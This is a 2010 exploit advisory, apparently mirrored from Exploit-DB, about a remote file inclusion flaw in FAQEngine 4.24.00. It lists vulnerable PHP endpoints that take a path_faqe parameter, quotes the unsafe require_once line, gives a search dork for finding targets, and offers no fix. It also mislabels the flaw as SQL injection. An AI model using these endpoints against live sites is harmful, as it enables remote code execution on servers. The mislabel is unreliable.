FAQEngine 4.24.00 – Remote File Inclusion

Exploit Database
114 阅读

作者： kaMtiEz

日期： 2010-01-11
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/11111/

###################################################################################

[~] FAQEngine 4.24.00 - Remote File Inclusion vulnerability [ RFI ] #

[~] Author : kaMtiEz (kamzcrew@gmail.com)#

[~] Homepage : http://www.indonesiancoder.com#

[~] Date : January 6, 2010 #

###################################################################################

[ Software Information ]

[+] Vendor : http://www.boesch-it.de/

[+] Download : http://www.boesch-it.de/sw/faqengine.php?lang=en

[+] version : 4.24.00 or lower maybe also affected

[+] Vulnerability : SQL injection

[+] Dork : "Think iT"

[+] Price : -

[+] Location : INDONESIA - JOGJA

##################################################################################

[ HERE WE GO .. LIVE FROM JOGJA CITY ]

[ Vulnerable File ]

http://127.0.0.1/[kaMtiEz]/attachs.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/backup.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/badwords.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/categories.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/changepw.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/colorchooser.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/colorwheel.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/dbfiles.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/diraccess.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/faq.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/index.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/kb.php?path_faqe=[INDONESIANCODER]

http://127.0.0.1/[kaMtiEz]/stats.php?path_faqe=[INDONESIANCODER]

etc etc etc .. too much ..

[ ERROR IN ]

require_once($path_faqe."/includes/global.inc.php");

[ FIX ]

dunno .. :P~~

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM KILL-9 CREW KIRIK CREW MainHack ServerIsDown SurabayaHackerLink

[+] tukulesto,M3NW5,arianom,tiw0L,abah_benu,d0ntcry ..

[+] Contrex,onthel,yasea,bugs,Ronz,Pathloader,cimpli

[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue a.k.a mbamboenk

[ NOTE ]

[+] Nyak ama babe gua .. tak lupa adik gua ..

[+] sendiri dingin sepi ... tanpa sengaja menemukan celah ke 2x nya ..

[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] KEEP MOVIN .. !

[+] INDONESIANCODER still r0x

[ EOF ]

[+] INDONESIANOCODER TEAM

[+] KILL -9 TEAM